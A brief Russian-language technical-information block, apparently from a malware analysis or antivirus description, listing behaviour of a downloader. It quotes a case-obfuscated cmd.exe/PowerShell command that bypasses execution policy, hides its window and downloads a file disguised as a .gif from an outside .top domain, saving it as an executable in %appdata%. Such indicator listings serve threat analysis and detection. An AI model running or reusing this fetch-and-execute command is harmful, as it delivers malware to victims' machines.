Техническая информация
- http://www.vopergooda.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "PowershelL.eXE -exeCUtIOnpOlIcy bYPaSS -nOpRof15oe -wIndowStylE HiDDen (new-OBJECT SyStEm.Net.WEBCLIeNt).DownLoadFile('http://www.vopergooda.top/read.php?f=1.gif','%aPpdata%.E...
- '<SYSTEM32>\cmd.exe' /C "PowershelL.eXE -exeCUtIOnpOlIcy bYPaSS -nOpRof15oe -wIndowStylE HiDDen (new-OBJECT SyStEm.Net.WEBCLIeNt).DownLoadFile('http://www.vopergooda.top/read.php?f=1.gif','%aPpdata%.E...' (со скрытым окном)